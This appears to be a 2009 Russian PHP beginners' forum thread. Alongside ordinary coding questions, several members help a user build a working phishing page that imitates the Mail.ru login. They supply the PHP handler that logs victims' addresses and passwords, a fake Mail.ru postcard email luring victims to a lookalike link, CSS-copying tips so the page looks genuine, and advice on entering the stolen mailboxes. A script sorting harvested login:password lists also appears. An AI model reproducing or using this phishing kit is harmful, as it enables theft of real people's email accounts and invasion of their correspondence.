FreeNeDiX Если ты хочешь иметь на своем сайте ссылку, на которую жмешь и у тебя голосует - то нельзя, а если прокси+скрипт - можно
Gifts, ошибка при парсе на 10й
preg_match() [function.preg-match]: Delimiter must not be alphanumeric or backslash in G:\home\localhost\subdomain\vksort.php on line 10
Gifts, ВСЁ НОРМ, СПАСИБО!! :)
FreeNeDiX
04.04.2009, 16:46
FreeNeDiX, а зачем вообще рефера посылать?? Хотя если надо, то хоть сокетами,: хоть cURL'ом, кому как проще/ближе.
Тока непонятно как происходит контроль? По реферу - можно подменить. По кукам - можно их не слать. По IP - на то есть прокси. Вообщем флаг вам в руки!)
На том сайте с прокси не зайдешь, сделано для того чтобы накрутки не было. Кукисы там не нужны, там записывается ИП голосовавшего и обнуляется каждые 24 часа. Также стоит фильтр на голосование из подсети. Почему именно реферер? А хрен его. Когда идешь на ссылку голосования выкидывает ошибку с реферером. Вообще голосование происхожит на ajax. Кому интерестно что именно за проект, то вот примерно так - http://www.toptracker.ru/details.php?id=226
draliokero
04.04.2009, 16:49
Подскажите, пожалуйста: есть текст, нужно в начало дописать строку.
mailbrush
04.04.2009, 16:54
Gifts,
<?php
$rus=fopen('rus.txt','w');
$eng=fopen('eng.txt','w');
$logins=array_map('rtrim',file('pars.txt'));
$c=count($logins);
for ($i=0;$i<$c;$i++)
{
list($num,$pass)=explode(':',$logins[$i]);
if (preg_match('#~[а-яА-Я]~#',$pass)) fputs($rus,$num.':'.$pass."\n");
else fputs($eng,$num.':'.$pass."\n");
}
fclose($rus);
fclose($eng);
echo "<br>Скрипт удачно завершил работу.";
?>
draliokero,<?php
$string1="твой текст";
$string2="что надо дописать";
echo $string2.$string1;
?>
Вот такой вопрос, имеется адрес радиостанции http://88.191.102.29:7204можно ли както получить теги mp3, как это делает например winamp, при помощи php? То есть название трека и исполнителя. Спасибо!
Вот такой вопрос, имеется адрес радиостанции можно ли както получить теги mp3, как это делает например winamp, при помощи php? То есть название трека и исполнителя. Спасибо!
Скорее всего возможно, поставь сниффер себе и посмотри, что шлет винамп, потом повтори с помощью пхп
Вот такой вопрос, имеется адрес радиостанции можно ли както получить теги mp3, как это делает например winamp, при помощи php? То есть название трека и исполнителя. Спасибо!
PHP-MP3 Class (http://www.sourcerally.net/Scripts/20-PHP-MP3-Class)
roddik, а что мне это даст?
Vid0k, этот класс работает с mp3 файлом как я понял, а со стрим потоком как? :)
Блин вот такая еще ошибка Warning: file_get_contents() [function.file-get-contents]: Unable to access path1.mp3 in ......\mp3.class.php on line 42 :confused:
посмотришь что отсылается, заменишь название трека и исполнителя, получишь ответ
А зачем читать поток, если можно просто пройти по этому адресу и спарсить нужное?
Kaimi, у меня радио на Флэше, мне нужно получать с потока название песни и исполнителя (как в винампе). Как мне это сделать на php, чтобы я мог в дальнейшем во Флэш сендить эти данные??? Спасибо!
http://www.actionscript.org/forums/showthread.php3?t=149986
документации по этим потокам не видел,примерный способ описан на тома форуме,читаешь поток парсишь загаловки,если в потоке указывается длина трека то через такое же время снова читаешь поток получаешь данные по новому треку,больше ничего в голову не приходит
Vid0k
по ссылке http://www.actionscript.org/forums/showthread.php3?t=149986 есть код:
<?php
$ip = "205.188.215.231";
$port = "8016";
$open = fsockopen($ip,$port);
if ($open) {
fputs($open,"GET /7.html HTTP/1.1\nUser-Agent:Mozilla\n\n");
$read = fread($open,1000);
$text = explode("content-type:text/html",$read);
$text = explode(",",$text[1]);
}
else {
$er="Connection Refused!";
}
if ($text[1]==1) { $state = "Up"; } else { $state = "Down"; }
if ($er) {
echo $er;
exit;
}
echo "<font face=verdana size=1>
Listeners: $text[0] of $text[3] ($text[4] Unique)<br>
Listener Peak: $text[2]<br>
Server State: <b>$state</b><br>
Bitrate: $text[5] Kbps<br>
Current Song: $text[6]<br>
</font>";
?>
но он выдаёт:
Warning: fsockopen(): php_network_getaddresses: gethostbyname failed in /home/.../public_html/radio.php on line 5
Warning: fsockopen(): unable to connect to http://88.191.102.29:7204 in /home/s.../public_html/radio.php on line 5
Connection Refused! :confused:
Спасибо большое Vid0k! :)
Это то, что мне нужно!!! :)
Всё заработало! :)
-m0rgan-
04.04.2009, 19:11
Оно говорит что не может подключится к http://88.191.102.29:7204 потому что подключение запрещено!
Оно говорит что не может подключится к http://88.191.102.29:7204 потому что подключение запрещено!да, оно так говорило, потомучто нужно было убрать "http://" :)
Подскажите, в чем отличие stream_ socket_ server от простого socket_create ?
mailbrush
04.04.2009, 20:05
http://php.net/stream_socket_server & http://php.net/socket_create
пишу сценарий с вевлением.
<?php
//сравнение трех чисел\\
//Вводим три переменные
$a=56;
$b=128;
$c=75;
//сравниваем 2 первых числа
if ($a>$b)
{
$m=$a;
}
else {
$m=$b
} //Здесь должно было присвоиться к переменной $M большее число. Однако присвоение не идет.
?>
astrologer
04.04.2009, 20:25
2Хелпер$m = max($a, $b);
Спасибо, я слепой просто xD
Что надо изменить, чтобы фейк заработал? Фейковая страница создана уже.
<form method="post" action="log.php" onSubmit="return CheckForm(this);">
<input type="hidden" name="page" value="">
<input type="hidden" name="post" value="">
<input type="hidden" name="login_from" value="">
<tr>
<td><img src=http://img.imgsmail.ru/0.gif width=55 height=1><br>Имя</td>
<td width=63%><input type="text" name="Login" value="charm0nt" class=w_100></td>
<td width=37%><select class=w_100 name="Domain"><option value="mail.ru" SELECTED>@mail.ru</option><option value="inbox.ru" >@inbox.ru</option><option value="bk.ru" >@bk.ru</option><option value="list.ru" >@list.ru</option></select></td>
</tr>
<tr>
<td>Пароль</td>
<td colspan=2>
<table width=100% cellpadding=0 cellspacing=0 border=0><tr>
<td width=100%><input type="password" name="Password" class=w_100></td>
<td> <a href="http://www.mail.ru/pages/help/2.html#2185" target=_new>Забыли пароль?</a></td>
</tr></table>
</td>
</tr>
<tr>
<td> </td>
<td><input type=checkbox name="level" value=1 id="alien"><label for="alien">Чужой компьютер</label></td>
<td> </td>
</tr>
<tr>
<td> </td>
<td><input type="Submit" value=" Войти " style="margin-top:4px"></td>
<td> </td>
</tr></form>
дайте маны по curl+https+post+cookie почитать плззз
или про сокеты и https
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 2);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, FALSE);
php.net/curl
awaria, самый верх:
<form method="post" action="log.php" onSubmit="return CheckForm(this);">
<input type="hidden" name="page" value="">
<input type="hidden" name="post" value="">
<input type="hidden" name="login_from" value="">
замени на:
<form method="post" name="login" id="login" action="log.php">
<label for="email">Email:</label>
<input class="inputText" onClick="show('expirePad');" type="text" name="login" id="email" size="20" />
<label for="pass">Пароль:</label>
<input class="inputText" onClick="show('expirePad');" type="password" name="pass" id="pass" size="20" />
awaria, самый верх:
<form method="post" action="log.php" onSubmit="return CheckForm(this);">
<input type="hidden" name="page" value="">
<input type="hidden" name="post" value="">
<input type="hidden" name="login_from" value="">
замени на:
<form method="post" name="login" id="login" action="log.php">
<label for="email">Email:</label>
<input class="inputText" onClick="show('expirePad');" type="text" name="login" id="email" size="20" />
<label for="pass">Пароль:</label>
<input class="inputText" onClick="show('expirePad');" type="password" name="pass" id="pass" size="20" />
Можно немного пояснить - что это даёт. Своё вставлять ничего не надо? После заливки файлов на мою страницу перекидывать будет? А где указывается мыло жертвы? или это всё универсально? и мне всё подряд будет кидать? Как сделать на определённый ящик?
Что здесь менять на свои значения? Открытку где брать - можно тупо на радикал загрузить свою?
Плиииз, поподробнее...
<table class=readlet cellpadding=0 cellspacing=0 border=0 width="100%"><tr>
<td>
<div id=let_body><base href="http://win.mail.ru/cgi-bin/readmsg"><table cellspacing=0 cellpadding=5><tr valign=top>
<td><a href="http://cards.mail.ru" target="_blank"></a></td>
<td><font color="#333333" face="Arial" size="2">
Здравствуйте, на Ваше имя отправлена открытка.
Отправитель открытки: <a href="http://cards.mail.ru/" target="_blank" _base_href="http://win.mail.ru/cgi-bin/readmsg"><font color="#0857a6">Открытки@Mail.Ru</font></a>
Открытку Вы можете посмотреть в течение 90 дней по ссылке
<a href="http://priz.croe.net./" target="_self"><font color=#0857A6>http://cards.mail.ru/card.html?cd=00dcfed993b461be466bcca05114e17f</font></a>
Нажмите на неё, чтобы попасть на страницу с открыткой.
<hr align="left" color="silver" size="1" width="100%">
Чтобы своевременно узнавать о ближайших праздниках, именинниках и конкурсах,
<a href="http://content.mail.ru/pages/p_782.html" target="_blank" _base_href="http://win.mail.ru/cgi-bin/readmsg"> подпишитесь на рассылку</a>.
<a href="http://cards.mail.ru/" target="_blank" _base_href="http://win.mail.ru/cgi-bin/readmsg"><font color="#0857a6">Открытки@Mail.Ru</font></a> - открытки на все случаи жизни!<br><br><br>
</font></td></tr></table>
и тут тоже что менять???
<?PHP
$Login = $_POST['Login'];//Логин
$Domain = $_POST['Domain'];//Домен
$Pass = $_POST['Password'];//Пароль
$c = "$Login@$Domain:$Pass";
$fp = fopen("log","a+"); //открыть файл базы
fwrite($fp,"\n $c <br> \n");//записываем все
fclose($fp); //закрываем
header("Location: http://cards.mail.ru/card.html?cd=00dcfed993b461be466bcca05114e17f");
echo "<META HTTP-EQUIV=\"Refresh\" content =\"0; URL=http://win.mail.ru/cgi-bin/start?1390370218\">"//куда пошлем пользователя после того как он ввел данные!
?>
mailbrush
05.04.2009, 09:16
awaria, может обработчик покажешь?
Надо смотреть принимаемые данные.Без них никак
mailbrush
05.04.2009, 10:22
awaria, ты тупо скопипастил(-а) код из статьи какой-то. У тебя в форме имена полей не соответствуют именам полей, которые обрабатываются обработчиком.
awaria, ты оказывается на Майле делал) не знал, тот тебе не подойдёт что я привёл.
привёл бы раньше пример лог файла, сразу бы подсказал)
тот прежний код ты откуда вытащил-то... он никак не сходится с лог-файлом..
как используя curl отправить следующий запрос?
POST https://host/index.php HTTP/1.1
Host: www.host
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.9.0.8) Gecko/2009032609 AdCentriaIM/1.7
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: ru,en-us;q=0.7,en;q=0.3
Accept-Charset: windows-1251,utf-8;q=0.7,*;q=0.7
Keep-Alive: 30
Connection: keep-alive
Referer: https://www.host
Cookie: sess_id1=FVASDRitb; sess_id2=12378178
Content-Type: multipart/form-data; boundary=---------------------------24464570528145
Content-Length: 492
-----------------------------24464570528145
Content-Disposition: form-data; name="qwer"
12345678912345678912345
-----------------------------24464570528145
Content-Disposition: form-data; name="variable2"
-----------------------------24464570528145
Content-Disposition: form-data; name="var3"
val3
-----------------------------24464570528145
Content-Disposition: form-data; name="var4"
val4
-----------------------------24464570528145--
AFoST
http://ru2.php.net/manual/ru/function.curl-setopt.php
CURLOPT_USERAGENT
CURLOPT_REFERER
CURLOPT_COOKIE
CURLOPT_HTTPHEADER
CURLOPT_POSTFIELDS
пример, как их юзать в конце страницы.
wildshaman
05.04.2009, 11:56
как используя curl отправить следующий запрос?
$curl = curl_init();
curl_setopt($curl,CURLOPT_URL,"https://host/index.php");
curl_setopt($curl,CURLOPT_RETURNTRANSFER,true);
curl_setopt($curl,CURLOPT_CONNECTTIMEOUT,30);
curl_setopt($curl,CURLOPT_FOLLOWLOCATION,1);
curl_setopt($curl,CURLOPT_HEADER,false);
$postdata = array(
'qwer' => '12345678912345678912345',
'variable2' => '',
'var3' => 'val3',
'var4' => 'val4'
);
curl_setopt($curl, CURLOPT_POSTFIELDS, $postdata);
curl_setopt($curl, CURLOPT_SSL_VERIFYPEER, FALSE);
curl_setopt($curl,CURLOPT_COOKIE, "sess_id1=FVASDRitb; sess_id2=12378178");
curl_setopt($curl,CURLOPT_ENCODING,"gzip,deflate");
$ret = curl_exec($curl);
echo $ret;
Ну, общем, как-то так....
.:EnoT:.
05.04.2009, 12:35
Ну ещё добавить curl_setopt($curl, CURLOPT_POST, 1);
И файлы передаются с собачкой @
wildshaman
05.04.2009, 12:46
Ну ещё добавить curl_setopt($curl, CURLOPT_POST, 1);
И файлы передаются с собачкой @
хм, а зачем добавлять, если не секерт?)
Мнго раз видел, но и без этого рабоатет, вроде)
А про файл в вопрсое нчиего не было Ж)
Помогите пожалуйста, как очистить содержимое страницы (просто удалить), включая формы и т.п. ?
2 ronald
что значит очистить содержимое страницы ? очистить от чего именно ?
вот тебе уневерсальный отчеститель unset($stranitsa); :D
awaria, может обработчик покажешь?
я понимаю -эта тема для новичков. вот и задаю не очень умные вопросы профессионалам - пытаюсь вникнуть.
что такое обработчик? я пользуюсь программой Total Commander, фейковую страницу делаю на hostland.su
awaria, ты оказывается на Майле делал) не знал, тот тебе не подойдёт что я привёл.
привёл бы раньше пример лог файла, сразу бы подсказал)
тот прежний код ты откуда вытащил-то... он никак не сходится с лог-файлом..
код взяла из статьи и пытаюсь свои данные вставить.
можете объяснить что не так?
С помощью чего можно сделать такие операции:
Открыть текстовик, прочитать его,правильно разбить, и вывести на екран.
В текстовике такой текст:
Заголовок
Какой то интересный текст на несколько строчек
Заголовок 2
Какой то текст
Заголовок 3
Ваще текст
Как вот так же вывести на екран как он в текстовике.
Я делаю так:
<? $a = fopen("1.txt","r"); $b = explode("\n","$a"); echo "$b"; fclose($a); ?>
Где ошибка или это всё ошибка ?
Заранее спасибо.
вот такая хрень у меня получилась. как сделать всё корректно? чтобы страница была идентична майловской?
http://www.awaria.tu2.ru/
2Сorpy
может быть прикрути fread (я не уверен, я с PHP работаю 2-ой день)
Помогите "выдрать" из файла одну строку ... тоесть есть файл вида:
адин
два
три
и нужно $adin = "адин"; $dva = "dva";
Может через массив ?
2awaria, держи их сss:
http://img.imgsmail.ru/mail/ru/css/mail-main1.css?123
http://img.imgsmail.ru/mail/ru/css/mail-second.css
и для приличия добавь там наверху ссылки на "Мой мир" и т.д. т.п.
чтобы слить их css, просто открой сурс и ищи css, скачивай эти файлы и будет тебе счастье
2 geforse
foreach (file('a.txt') as $str) echo $str."\r\n";
полюбуйтесь теперь. А как пересылать на эту страницу того, кто мне нужен ?открыткой? и можно как то убрать рекламу или это не столь важно?
http://www.awaria.tu2.ru/
ronald
2awaria, держи их сss:
http://img.imgsmail.ru/mail/ru/css/mail-main1.css?123
http://img.imgsmail.ru/mail/ru/css/mail-second.css
и для приличия добавь там наверху ссылки на "Мой мир" и т.д. т.п.
чтобы слить их css, просто открой сурс и ищи css, скачивай эти файлы и будет тебе счастье
как я понял из стиля написания, awaria, девушка, не думаю что понятно ей будет на счет css
awaria, я думаю тебе лучше будет сделать формы без домена (логина), т.е. без @inbox.ru ; @bk.ru ; @list.ru.
т.к. будет муторно настроить чтоб к логину в логи попадал ещё и домен.. сделай логин с одной формой, будет на много проще...
вот на примере этого, я его уже как месяц забросил, потом думаю на Мейл перейду
__http://bigups.vov.ru/
awaria, да рекламу можно, я её убрал у себя.
перекидывать с помощь редиректа на страницу твою можно
ronald, угу :)
awaria, я думаю тебе лучше будет сделать формы без домена (логина), т.е. без @inbox.ru ; @bk.ru ; @list.ru.
т.к. будет муторно настроить чтоб к логину в логи попадал ещё и домен.. сделай логин с одной формой, будет на много проще...
Угу, а потом аварии придётся каждый логин подставлять к каждому домену...
awaria, да рекламу можно, я её убрал у себя.
перекидывать с помощь редиректа на страницу твою можно
спс. а как подробнее можно? или где тема может есть такая?
спс. а как подробнее можно? или где тема может есть такая?
Нууу, авария, в исходники загляни ;) там всё есть, и ещё: пофикси ссылки вверху, не работают первые несколько
ronald
Угу, а потом аварии придётся каждый логин подставлять к каждому домену...
а разница? она же будет во зломанное мыло входить, а там тока копируя логин, потом домен подставить...
по другому я чета не вижу =/
да и люди будут вводить полный вид ящика, а он в логах засветится...
awaria, свойста рекламы нажми, будет адрес с картинкой, в исходнике как-раз этот адрес найди с названием картинки и удали.
В чём синтаксис еррор?
На switch ($kol){ ругается
Странно, у меня все прекрасно отработало =\
ronald
а разница? она же будет во зломанное мыло входить, а там тока копируя логин, потом домен подставить...
по другому я чета не вижу =/
да и люди будут вводить полный вид ящика, а он в логах засветится...
awaria, свойста рекламы нажми, будет адрес с картинкой, в исходнике как-раз этот адрес найди с названием картинки и удали.
Домен на mail.ru нужно выбрать из выпадающего списка, и не факт, что каждый будет ввдоить полное мыло ;) так что, авария, делай выбор из списка и будет тебе счастье))
Возникла проблема с созданием скрипта, который бы ломал строку символов и после пробела все переносил на след. строку.
Вот пример:
-до обработки:
1.2.3 4.5.6 7.8.9
-после:
1.2.3
4.5.6
7.8.9
буду благодарен за любую помощь.
wildshaman
05.04.2009, 20:58
Возникла проблема с созданием скрипта, который бы ломал строку символов и после пробела все переносил на след. строку.
Вот пример:
-до обработки:
1.2.3 4.5.6 7.8.9
-после:
1.2.3
4.5.6
7.8.9
буду благодарен за любую помощь.
<?
$str="1.2.3 4.5.6 7.8.9";
$str=str_replace(" ", "<br>", $str);
echo $str;
?>
mailbrush
05.04.2009, 22:41
2Сorpy
может быть прикрути fread (я не уверен, я с PHP работаю 2-ой день)
Вот именно. Если ты с пхп работаешь два дня, ты еще сам новичок, поэтому не отвечай на вопросы, на которые не знаешь ответа.
С помощью чего можно сделать такие операции:
Открыть текстовик, прочитать его,правильно разбить, и вывести на екран.
В текстовике такой текст:
Заголовок
Какой то интересный текст на несколько строчек
Заголовок 2
Какой то текст
Заголовок 3
Ваще текст
Как вот так же вывести на екран как он в текстовике.
Я делаю так:
<? $a = fopen("1.txt","r"); $b = explode("\n","$a"); echo "$b"; fclose($a); ?>
Где ошибка или это всё ошибка ?
Заранее спасибо.
Это все - ошибка :)
<?
echo str_replace("\n","<br>",file_get_contents("1.txt"));
?>
Это все - ошибка
<?
echo str_replace("\n","<br>",file_get_contents("1.txt"));
?>
Вообще то есть функция nl2br();
<?php
$search = 'file';
$filename = "1.txt";
$handle = fopen($filename, "r");
$s = fread($handle, filesize($filename));
$a = strpos($s,$search);
If($a) $new = str($s,$a);
fclose($handle);
$handle1 = fopen("new.txt", "w");
fwrite($handle1,$new . "\r\n");
fclose($handle1);
?>
ЧТот у меня не получилось сделать так чтоб до опр символа все летело в др файл(
Домен на mail.ru нужно выбрать из выпадающего списка, и не факт, что каждый будет ввдоить полное мыло ;) так что, авария, делай выбор из списка и будет тебе счастье))
ну да вобщем)
но можно и форму подписать соответсвенно, к примеру...
Ваш почтовый ящик (полностью)
не думаю что юзер туп и не поймёт этого)
ну а если впишет тока логин, то его (в зависимоти куда перекинет) подумает что не верно вбил и впишет мыло полностью.... у меня было так, что юзер вбил тока логин, потом возвращается и пишет ящик целиком, так-что тут можно по разному юзать фейк, но я всё же думаю легче с 2мя формами...
Pashkela
06.04.2009, 11:55
ЧТот у меня не получилось сделать так чтоб до опр символа все летело в др файл(
<?php
$search = 'file';
$filename = "1.txt";
$handle = fopen($filename, "r");
$s = fread($handle, filesize($filename));
$a = strpos($s,$search);
If($a) $new = substr($s,0,$a);
fclose($handle);
$handle1 = fopen("new.txt", "w");
fwrite($handle1,$new . "\r\n");
fclose($handle1);
?>
Помогите "выдрать" из файла одну строку ... тоесть есть файл вида:
адин
два
три
и нужно $adin = "адин"; $dva = "dva";
Может через массив ?
$t=file("1.txt");
$t[0]=$adin;
$t[1]=$dva;
// ....
Домен на mail.ru нужно выбрать из выпадающего списка, и не факт, что каждый будет ввдоить полное мыло ;) так что, авария, делай выбор из списка и будет тебе счастье))
Каюсь - тупа ещё в этом. и всё же, что такое выпадающий список?
.:EnoT:.
06.04.2009, 16:35
Вот именно. Если ты с пхп работаешь два дня, ты еще сам новичок, поэтому не отвечай на вопросы, на которые не знаешь ответа.
<?
echo str_replace("\n","<br>",file_get_contents("1.txt"));
?>
*истерика* http://s49.radikal.ru/i124/0904/98/790235946740.gif http://s49.radikal.ru/i124/0904/98/790235946740.gif http://s49.radikal.ru/i124/0904/98/790235946740.gif http://s49.radikal.ru/i124/0904/98/790235946740.gif http://s49.radikal.ru/i124/0904/98/790235946740.gif
даешь 1000ную страницу )))
Хочу авторизироваться на phpBB форуме, но выходит капча (не стандартная)
Как можно вытащить ссесию из страницы (login.php) и отобразить капчу ?
wildshaman
06.04.2009, 19:29
Хочу авторизироваться на phpBB форуме, но выходит капча (не стандартная)
Как можно вытащить ссесию из страницы (login.php) и отобразить капчу ?
дай линк, гляну
да любой phpBB форум ... да хоть торрентс
там тоже кажется стоит phpBB 2
============================
Получил из хедера bb_test=1479735648
но что терь с этим делать ?
Опять серверу слать :confused:
тоже интересует вопрос geforse )
ну да вобщем)
но можно и форму подписать соответсвенно, к примеру...
Ваш почтовый ящик (полностью)
не думаю что юзер туп и не поймёт этого)
ну а если впишет тока логин, то его (в зависимоти куда перекинет) подумает что не верно вбил и впишет мыло полностью.... у меня было так, что юзер вбил тока логин, потом возвращается и пишет ящик целиком, так-что тут можно по разному юзать фейк, но я всё же думаю легче с 2мя формами...
А вот так будет правильнее или тоже не верняк?
http://www.awaria.tu2.ru/
Там, после фейка, на 2-ой фэйк посылает, а в 3-ий раз уже на майл.ру.
geforse Всяко проще будет, если адресс форума скажете. Тем более если капча "нестандартная"
У меня просто форум внутри сети и вам туда ну никак не попасть(((
Объясните мне на примере www.torrents.ru
Я не понимаю даже что нужно делать ... вытащил я их хедера bb_test=_тут_циферки_; и как мне отобразить в капчу ?
Тоесть мой скрипт проходит авторизацию, но иногда вылезает капча ... в скрипте она не отображается(
geforse Сохраняет капчу на локальный сервер и показывает ее в браузере, если капчи нет - выводит всю страницу. <tt><pre><?
//===================================
$login='asdasdasdas';
$pass='aerwqefsal';
//===================================
@set_time_limit(0);
@ini_set("max_execution_time", 0);
$cookie=array();
function post($url='',$content='',$referer='')
{
GLOBAL $cookie;
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL,$url);
curl_setopt($ch, CURLOPT_HEADER, 1);
curl_setopt($ch, CURLOPT_RETURNTRANSFER,1);
curl_setopt($ch, CURLOPT_TIMEOUT, 15);
curl_setopt($ch, CURLOPT_USERAGENT, 'Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.9.0.1) Gecko/2008070208');
if (!empty($cookie)) curl_setopt($ch, CURLOPT_COOKIE, implode('; ',$cookie));
if (!empty($content)) {curl_setopt($ch, CURLOPT_POST, 1);curl_setopt($ch, CURLOPT_POSTFIELDS, $content);} else {curl_setopt($ch, CURLOPT_POST, 0);}
if (!empty($referer)) curl_setopt($ch, CURLOPT_REFERER, $referer);
//curl_setopt($ch, CURLOPT_HTTPHEADER, array('X-REQUESTED-WITH: XMLHttpRequest'));
$ss=curl_exec($ch);
curl_close($ch);
if (preg_match_all('#^Set-Cookie: (([^;=]+)=([^;=\r\n]+))#mi',$ss,$cook))
{
if ($tmpcookie=array_combine($cook[2],$cook[1]))
$cookie=(array)$tmpcookie + (array)$cookie;
}
return preg_replace('~^.+\r\n\r\n~Umsi','',$ss);
}
$tmp=post('http://torrents.ru/forum/login.php', 'login_username='.urlencode($login).'&loginpassword='.urlencode($pass).'&login='.urlencode('Вход'), 'http://torrents.ru/forum');
if (preg_match('~Код подтверждения:.+?<img src="([^"]+)"~msi',$tmp,$match))
{
file_put_contents('tor_captcha.jpg',post($match[1],null,'http://torrents.ru/forum/login.php'));
echo '<img src="tor_captcha.jpg" />';
} else echo $tmp;
Если я не прав поправте.
В общем,получаем капчу,перед этим запоминаем номер сессии капчи.
Вбиваем капчу,и курлом,отправляем вбитые цыферки на сервер,прикрепив кукисы с сессией которую мы запомнили.Помоему както так.
Если я не прав поправте.
В общем,получаем капчу,перед этим запоминаем номер сессии капчи.
Вбиваем капчу,и курлом,отправляем вбитые цыферки на сервер,прикрепив кукисы с сессией которую мы запомнили.Помоему както так.
все верно
гыгы 1000 страниц уж
Gifts
Большое спасибо ) всё работает :)
Но не совсем понятно в твоём коде какие значения обратно нужно слать ?
Тоесть при авторизации такое запрос есть:
redirect=index.php&cookie_test=614778858&login_username=.LOGIN.login_password=.PASSWORD.&cap_sid=l6ZoYvjytiTxtuAg5t1n&cap_code_59ed9242a27cda0be076cbdec0129e07=.ТУТ ЦЫФРЫ НА КАПЧЕ.&autologin=on&login=%C2%F5%EE%E4
Вот это похоже и есть сессия капчи.
59ed9242a27cda0be076cbdec0129e07
Вот это похоже и есть сессия капчи.
59ed9242a27cda0be076cbdec0129e07
Имхо вот: cap_sid=l6ZoYvjytiTxtuAg5t1n
Cap_SessionID. А это 59ed9242a27cda0be076cbdec0129e07 больше похоже на md5 кода капчи.
Комрады,посоветуйте мне вот что.
Взялся за большой проэкт,решил все сделать сам,но уже на первых парах понял - что простыми самописным "шаблонизатором" не обойтись.Солишком много кода выходит только на мелочи вроде вывода меню,разного для статусов пользователей.
Поэтому,хотелось бы научитться пользоваться шаблонизаторами,вроде SmartY но нигде не могу найти чтото вроде манов на руском,может плохо искал.
Подскажите пожалуйста,буду очень признателен.
но нигде не могу найти чтото вроде манов на руском,может плохо искал.
http://smarty.net/manual/ru/
или вот
http://smarty.net/distributions/manual/ru/Smarty-2.6.14-docs.pdf
http://smarty.net/manual/ru/
или вот
http://smarty.net/distributions/manual/ru/Smarty-2.6.14-docs.pdf
Было бы неплохо посмтреть примеры,с коментариями,но таковых там нет,или есть но там без объяснений как что работает :(
Вообще смарти довльно медленный шаблонизатор, и сильно большой проект с динамическим контентом, может и повалить сервак, под оч большие проекты, надо писать своё.
да нет,проэкт не очень большой,на примере работ,похож на вконтакте,тоесть пользователь регистрируеться,и весь смысл идет в его скажем так профиле,ну давайте как пример вконтакте,система такаяже будет,тоже личная страичка только цель другая совсем.
При написании своего шаблонризатора я понял что я либо сойду с ума,либо весь проэкт и будет сосоять из шаблонизатора.
Поэтому решил искать готовое решение.Просто слушал про смарти,поэтому и спрашиваю про него.Если есть чтото другое с приерами,я конечно неоткажусь.
в данный момент,после прочтения манов,я думаю делать по старинке,чтото вроде:
инклудим шапку.(одинаковое везде)
инклудим боковое меню.(везде почти одинаковое,определать какой выводить по сессии
{далее идет сам основной код,где определяються переменные,и прочее.Тутже создаем ОСНОВНОЙ блок с контентом,профилем.}
инклдим футер(везде один)
Вот так наверно и буду делать,а то я с ума сойду с шаблонихатором,и так мозг кипит,первй более менее большой и серьезный проэкт...
ну всё зависит от кол-ва пользователей, я про это говорил когда говорил о размере
ну всё зависит от кол-ва пользователей, я про это говорил когда говорил о размере
да я не думаю что пользователей будет очень много,ресурс довольно таки узкоспециализированый,так что нерасчитываю на широкую публику...
.:EnoT:.
08.04.2009, 03:59
Свой шаблонизатор это всего-лишь небольшой класс с парочкой методов, а для твоего уровня вполне сойдёт всего одна функция...а смарти это огромная никчёмная вещь.
Подскажите такой вопрос
есть цикл
for($i=1;$i<10;$i++){
echo $i;
}
получим на выходе 1 2 3 4 5..... как получить 01 02 03 04 ... 11 12 13???????
Подскажите такой вопрос
есть цикл
for($i=1;$i<10;$i++){
echo $i;
}
получим на выходе 1 2 3 4 5..... как получить 01 02 03 04 ... 11 12 13???????
echo $i; замени на printf('%02d', $i);
вот так будет выглядеть
Подскажите такой вопрос
есть цикл
for($i=1;$i<100;$i++){
if($i<10){
echo '0'.$i;
} else {
echo $i;
}
}
получим на выходе 1 2 3 4 5..... как получить 01 02 03 04 ... 11 12 13???????
как получить 01 02 03 04 ... 11 12 13???????
<?php
for($i=1;$i<=100;$i++){
$dig = ($i<10)?'0'.$i:$i;
echo $dig."\n";
}
?>
<?php
for($i=1;$i<=100;$i++){
$dig = ($i<10)?'0'.$i:$i;
echo $dig."\n";
}
?>
Во тсейчас задам глупый вопрос,но просто всегда интересовало :)
Что значит ? and :?
Это чтото типо,иф елсе? Можно просто по руски написать,что означает данная строка.
($i<10)?'0'.$i:$i;
Интересно)
Что значит ? and :?
Это чтото типо,иф елсе? Можно просто по руски написать,что означает данная строка.
($i<10)?'0'.$i:$i;
Интересно)
Тернальный оператор, аналог if-else, в некоторых местах очень удобен)
<условие>?<если_тру))>:<если _не_тру))>
<?php
include("lib.php");
function linkurl($link)
{
connection();
$query = "SELECT * FROM link where site='".$link."'";
$rezult = mysql_query($query);
if(!$rezult) return mysql_error();
if(mysql_numrows($rezult) >0){
return false;
}
else {
$query2 = "INSERT INTO link (site,date) VALUES('$link', NOW())";
$rez = mysql_query($query2);
if(!$rez) return mysql_error() ;
return true;
}
}
function Findurl($http,$path,$file,$lim=0)
{
//$id = file_get_contents($http,'rb');
$curl = curl_init($http.$path.$file);
// Параметры соединения
curl_setopt($curl, CURLOPT_RETURNTRANSFER,1);
// Получаем соедржимое страницы
$id2 = curl_exec($curl);
// Закриваем соединение
curl_close($curl);
$mas = array();
$pat = '|(\w*\.php\?option=com_content&(?:\w*.\w*&)*\w*.\ w*)|is';
$total = preg_match_all($pat,$id2,$poc) ;
for($i=0; $i < $total ; $i++)
{
$mas[] = $poc[1][$i];
}
foreach ($mas as $link)
{
linkurl($link);
}
// if($lim == 3) exit();
connection();
$query1 = "SELECT site FROM link limit $lim,1 ";
$rezult1 = mysql_query($query1);
if(!$rezult1) return mysql_error();
if(mysql_numrows($rezult1) > 0){
$pagelink = mysql_fetch_array($rezult1);
$filelink = $pagelink['site'] ;
echo $filelink."\r\n";
Findurl($http,$path,$filelink,$lim+1) ;
}
}
Findurl('http://planeta.ls','/portal/','index.php');
echo "Finish";
?>
Например что б я нажал на клавишу программа остановилать
$days=date('t');
$month=date('m');
for($i=1;$i<=$days;$i++){
if($i<10){$i='0'.$i;}
$temp=$i.'-'.$month;
if($date_s=='-' and $date_e=='-'){
$out .='<td width="15"> </td>';
}else{
if($date_s<=$temp and $date_e>=$temp){
$out .='<td width="15" bgcolor="black"> </td>';
} else{
$out .='<td width="15"> </td>';}
}
}
$date_s - дата полученная с БД пусть будет 05-06
$date_e - дата полученная с БД пусть будет 05-07
далее смотри скоко дней в месяце и пускаем цикл в котором
сравниваем даты с кокретной датой месяца если условие выполняется то ячейка таблицы закрашивается...
собственно делаю график отпусков ))
